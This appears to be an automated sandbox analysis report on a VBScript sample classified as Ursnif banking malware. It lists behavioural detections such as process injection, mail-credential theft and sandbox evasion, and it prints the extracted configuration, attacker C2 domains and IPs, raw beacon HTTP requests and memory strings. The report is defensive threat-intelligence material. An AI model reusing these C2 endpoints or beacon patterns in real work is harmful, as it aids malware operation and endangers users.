Analysis Report 1qdMIsgkbwxA.vbs

Overview

General Information

Sample Name: 1qdMIsgkbwxA.vbs
Analysis ID: 321725
MD5: 97c7dfecae90c288dfd43c600559b5b4
SHA1: 196f7b6a4d7023337e218ab0e04bba3bcfde128a
SHA256: 698d96faec08cf39e06348e4dfa3ef631ee09fc52d4dcce16f05bc7cb240bbcc

Most interesting Screenshot:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Benign windows process drops PE files
Found malware configuration
Multi AV Scanner detection for dropped file
Sigma detected: Dot net compiler compiles file from suspicious location
VBScript performs obfuscated calls to suspicious functions
Yara detected Ursnif
Allocates memory in foreign processes
Changes memory attributes in foreign processes to executable or writable
Compiles code for process injection (via .Net compiler)
Creates a thread in another existing process (thread injection)
Creates processes via WMI
Deletes itself after installation
Disables SPDY (HTTP compression, likely to perform web injects)
Found Tor onion address
Hooks registry keys query functions (used to hide registry keys)
Injects code into the Windows Explorer (explorer.exe)
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the export address table of user mode modules (user mode EAT hooks)
Modifies the import address table of user mode modules (user mode IAT hooks)
Modifies the prolog of user mode functions (user mode inline hooks)
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Csc.exe Source File Folder
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to steal Mail credentials (via file access)
WScript reads language and country specific registry keys (likely country aware script)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Compiles C# or VB.Net code
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file does not import any functions
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Suspicious Rundll32 Activity
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

AV Detection:

barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\onerous.tar Avira: detection malicious, Label: TR/Crypt.XDR.Gen
Found malware configuration
Source: explorer.exe.3424.34.memstr Malware Configuration Extractor: Ursnif {"server": "730", "os": "10.0_0_17134_x64", "ip": "84.17.52.25", "version": "250157", "uptime": "433", "system": "c1226486b006ca8b05a07fd24752e4dd", "crc": "69afa", "action": "00000001", "id": "1100", "time": "1606144279", "user": "902d52678695dc15e71ab15c4568b2ab", "soft": "1"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\onerous.tar ReversingLabs: Detection: 50%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\onerous.tar Joe Sandbox ML: detected
Source: C:\Windows\explorer.exe Code function: 34_2_04DA37B8 FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose, 34_2_04DA37B8
Source: C:\Windows\explorer.exe Code function: 34_2_04DC91A0 CreateFileA,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose, 34_2_04DC91A0

Networking:

barindex
Found Tor onion address
Source: powershell.exe, 0000001B.00000003.884317497.000001A056BE0000.00000004.00000001.sdmp String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1Mozilla/5.0 (Windows NT %u.%u%s; rv:82.0) Gecko/20100101 Firefox/82.0; Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
Source: explorer.exe, 00000022.00000002.1105880373.0000000004DDE000.00000004.00000001.sdmp String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1Mozilla/5.0 (Windows NT %u.%u%s; rv:82.0) Gecko/20100101 Firefox/82.0; Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
Source: control.exe, 00000023.00000003.894765922.000002572D2E0000.00000004.00000001.sdmp String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1Mozilla/5.0 (Windows NT %u.%u%s; rv:82.0) Gecko/20100101 Firefox/82.0; Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
Source: RuntimeBroker.exe, 00000024.00000002.1097150279.0000027D4F83E000.00000004.00000001.sdmp String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1Mozilla/5.0 (Windows NT %u.%u%s; rv:82.0) Gecko/20100101 Firefox/82.0; Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
Source: rundll32.exe, 00000025.00000003.909700800.0000017896D10000.00000004.00000001.sdmp String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1Mozilla/5.0 (Windows NT %u.%u%s; rv:82.0) Gecko/20100101 Firefox/82.0; Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /jvassets/xI/t64.dat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: c56.lepini.at
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 47.241.19.44 47.241.19.44
Source: global traffic HTTP traffic detected: GET /api1/DTgo8RpJRpUz/jPBspNc8N4q/ez4m7Pn85CTu8g/QncF2bBGxhwEpnOp3sWnQ/YCcVRrTVTfNVvo_2/BnzGg6v8D74iJbT/R6ALYHQcSWalUneAw_/2B_2F6rJq/6jp3H19cZYLGRK_2FFug/3tubJtVI395R_2FxfYW/WZ69RUwM35H1f1ofQVfRNo/G8RVRNPdF4859/owqzCDcU/Db_2Fhmc8hTGtEMzKz4OJY_/2B4Q5xqQu7/ZJMO_2B6aoagE_2Bc/QO1EExrZ8jMm/tydhN8XWzt_/0A_0DvbqSrbE3f/IERnih01d7bXnrt_2Fq8l/y4qvG1RaMi1LjeTh/CF6ewP_2FciP5JE/kwsV0fzM8/uh HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /api1/lnky_2BCA00/qgKlpnuL6qqwWj/W6VQ6Sik97XOa0BNWrb0C/keiyUVxuATj3E4_2/B_2BL_2FugJJ4Da/e7_2B4XLfQlvJrZ9Le/WhpxrI8Qq/A9BYlHAq1pwRqOmJTzam/mWVelK2_2BYK1zvhvqK/fXbmIkxvhcADgSIQiDjWz8/yPKK_2B5D5OGK/5zsDFW_2/FB8d_2FomEKPNCxkvLH0E2Y/aGMQdayWN4/Np1rmkye3WmvYQxxa/_2B9MSj81d1r/vMbKOV0Oc2Z/w8Oet7rXw8d8w_/0A_0DTjqjqAs4lYaBYm_2/Bc9aaErU2YqC55qH/21nD1bQOJUIFPr2/NUHbqYXczyTGkooUru/1_2FbIo HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /api1/zvGiN4jsuPo1Tk_2B7krB/sdD7nZv6vc3V0eQZ/SVK5a_2F5UbI1Xe/hjFW8ysW_2FwKMzhbp/dBNrgW1Sq/ingVWfO959oBdRWlxtaF/dqvh6cM4_2Bj_2BGzpY/1nsMPDa5HmfiSypu9fAPkA/Zr_2FgeOAOd0s/aUH9Lz6Q/TubYc_2FmaW911NkLBbfZgj/xoXQ4V_2Ba/lqFq_2Bsjc_2FEgzZ/D4f5RUdajhsS/uQ9Bzad_2Bl/CS5duEyCUzP_2F/EisvLe_2F7HKSMe1BjsDh/lR7UVaerv_0A_0Dw/QzSdyEHTApqz4FL/0cqIzsbCJltLoBzmuz/8uF0vLfcx/dJI_2FJPMh94aU1D9xka/4DcbwPY HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jvassets/xI/t64.dat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: c56.lepini.at
Source: global traffic HTTP traffic detected: GET /api1/ezlbSa0Zy7UGif8P/tV8KXcZRxzwWian/muFgYbasQRTGR9khw6/CtcuAv2MY/K_2BvzLouGkhJOOnGjVg/3_2FbHadV4up61xN5rD/cyJAvtTxlXxmhsDBesH5GT/3Nc4PQiFMjOr_/2FLSpIcc/ANNpMJl0Nc0jrQAKr3vf_2F/NyImGmvBDe/He8ZXMSaXDuB8FjkE/1wX36LjAdPHa/52mVQiR_2Bw/PJyo6IdUWSN_2B/JQHULos2nU87nT82wGT2R/5JVu85rk5fzu4sp1/_0A_0Dd8mTzto20/8bRO_2FIZoxlWWkvny/I72_2FzIa/tCr8iqoQ0xjYqh/H HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0Host: api3.lepini.at
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.rambler.ru/favicon.ico</FavoriteIcon> equals www.rambler.ru (Rambler)
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: <URL>http://www.facebook.com/</URL> equals www.facebook.com (Facebook)
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: <URL>http://www.rambler.ru/</URL> equals www.rambler.ru (Rambler)
Source: unknown DNS traffic detected: queries for: api10.laptok.at
Source: unknown HTTP traffic detected: POST /api1/Ppg0SH3ST3F/gucfDC73uafDmu/gxsngv0uRNgnUVK0QlHnA/X7DKkb5CZMRqAKlB/hMyibbLULRMdGzW/8aUaFmxZTQkn_2FN0N/XmgfYzKyl/ncmoRgHFL7cO3LUkPRQT/g5v0Ce65HovCMd9Lxtb/m01hA6EHX5Yso_2FMN9boY/wk_2Fij2hlpZj/sPC5Voax/EuORPnJSkBBgKdRWlcJHPqP/ZhmDzQyS5Z/3_2BTW42M24D_2FIQ/Dlj_2Bz0fn0e/_2FDhNsL1LB/juis8Ki_0A_0DL/kKdGS_2FHG_2B7hGixY1_/2FN_2FOOamFpN_2F/odmYHfyCeWNV/9ztJbtN HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0Content-Length: 2Host: api3.lepini.at
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 23 Nov 2020 15:09:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: explorer.exe, 00000022.00000000.913944852.000000000D9E0000.00000002.00000001.sdmp String found in binary or memory: http://%s.com
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://amazon.fr/
Source: explorer.exe, 00000022.00000000.915698469.000000000FD0D000.00000004.00000001.sdmp String found in binary or memory: http://api10.laptok.at/api1/DTgo8RpJRpUz/jPBspNc8N4q/ez4m7Pn85CTu8g/QncF2bBGxhwEpnOp3sWnQ/YCcVRrTVTf
Source: explorer.exe, 00000022.00000000.904465737.000000000A68A000.00000004.00000001.sdmp, explorer.exe, 00000022.00000000.905298980.000000000A897000.00000004.00000001.sdmp, explorer.exe, 00000022.00000000.915581599.000000000FCE0000.00000004.00000001.sdmp String found in binary or memory: http://api10.laptok.at/api1/lnky_2BCA00/qgKlpnuL6qqwWj/W6VQ6Sik97XOa0BNWrb0C/keiyUVxuATj3E4_2/B_2BL_
Source: explorer.exe, 00000022.00000000.915948776.000000000FD4D000.00000004.00000001.sdmp String found in binary or memory: http://api10.laptok.at/api1/zvGiN4jsuPo1Tk_2B7krB/sdD7nZv6vc3V0eQZ/SVK5a_2F5UbI1Xe/hjFW8ysW_2FwKMzhb
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://ariadna.elmundo.es/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://ariadna.elmundo.es/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://arianna.libero.it/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://arianna.libero.it/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://asp.usatoday.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://asp.usatoday.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://auone.jp/favicon.ico
Source: explorer.exe, 00000022.00000000.913944852.000000000D9E0000.00000002.00000001.sdmp String found in binary or memory: http://auto.search.msn.com/response.asp?MT=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://br.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://browse.guardian.co.uk/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://browse.guardian.co.uk/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://busca.buscape.com.br/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://busca.buscape.com.br/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://busca.estadao.com.br/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://busca.igbusca.com.br/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://busca.igbusca.com.br//app/static/images/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://busca.orange.es/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://busca.uol.com.br/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://busca.uol.com.br/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://buscador.lycos.es/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://buscador.terra.com.br/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://buscador.terra.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://buscador.terra.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://buscador.terra.es/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://buscar.ozu.es/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://buscar.ya.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://busqueda.aol.com.mx/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://cerca.lycos.it/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://cgi.search.biglobe.ne.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://cgi.search.biglobe.ne.jp/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://clients5.google.com/complete/search?hl=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://cnet.search.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://cnweb.search.live.com/results.aspx?q=
Source: powershell.exe, 0000001B.00000003.884317497.000001A056BE0000.00000004.00000001.sdmp, explorer.exe, 00000022.00000002.1105880373.0000000004DDE000.00000004.00000001.sdmp, control.exe, 00000023.00000003.894765922.000002572D2E0000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000024.00000002.1097150279.0000027D4F83E000.00000004.00000001.sdmp, rundll32.exe, 00000025.00000003.909700800.0000017896D10000.00000004.00000001.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: powershell.exe, 0000001B.00000003.884317497.000001A056BE0000.00000004.00000001.sdmp, explorer.exe, 00000022.00000002.1105880373.0000000004DDE000.00000004.00000001.sdmp, control.exe, 00000023.00000003.894765922.000002572D2E0000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000024.00000002.1097150279.0000027D4F83E000.00000004.00000001.sdmp, rundll32.exe, 00000025.00000003.909700800.0000017896D10000.00000004.00000001.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://corp.naukri.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://corp.naukri.com/favicon.ico
Source: powershell.exe, 0000001B.00000003.853574867.000001A05672B000.00000004.00000001.sdmp String found in binary or memory: http://crl.m
Source: powershell.exe, 0000001B.00000003.853574867.000001A05672B000.00000004.00000001.sdmp String found in binary or memory: http://crl.microsof
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://de.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://es.ask.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://es.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://esearch.rakuten.co.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://espanol.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://espn.go.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://find.joins.com/
Source: explorer.exe, 00000022.00000000.909102701.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://fr.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://google.pchome.com.tw/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://home.altervista.org/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://home.altervista.org/favicon.ico
Source: powershell.exe, 0000001B.00000003.884317497.000001A056BE0000.00000004.00000001.sdmp, explorer.exe, 00000022.00000002.1105880373.0000000004DDE000.00000004.00000001.sdmp, control.exe, 00000023.00000003.894765922.000002572D2E0000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000024.00000002.1097150279.0000027D4F83E000.00000004.00000001.sdmp, rundll32.exe, 00000025.00000003.909700800.0000017896D10000.00000004.00000001.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://ie.search.yahoo.com/os?command=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://ie8.ebay.com/open-search/output-xml.php?q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://image.excite.co.jp/jp/favicon/lep.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://images.joins.com/ui_c/fvc_joins.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://images.monster.com/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://img.atlas.cz/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://img.shopzilla.com/shopzilla/shopzilla.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://in.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://it.search.dada.net/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://it.search.dada.net/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://it.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://jobsearch.monster.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://kr.search.yahoo.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://list.taobao.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://list.taobao.com/browse/search_visual.htm?n=15&amp;q=
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://mail.live.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://mail.live.com/?rru=compose%3Fsubject%3D
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://msk.afisha.ru/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://ocnsearch.goo.ne.jp/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://openimage.interpark.com/interpark.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://p.zhongsou.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://p.zhongsou.com/favicon.ico
Source: powershell.exe, 0000001B.00000002.930160141.000001A03E57D000.00000004.00000001.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://price.ru/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://price.ru/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://recherche.linternaute.com/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://recherche.tf1.fr/
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://recherche.tf1.fr/favicon.ico
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://rover.ebay.com
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://ru.search.yahoo.com
Source: explorer.exe, 00000022.00000000.914222939.000000000DAD3000.00000002.00000001.sdmp String found in binary or memory: http://sads.myspace.com/
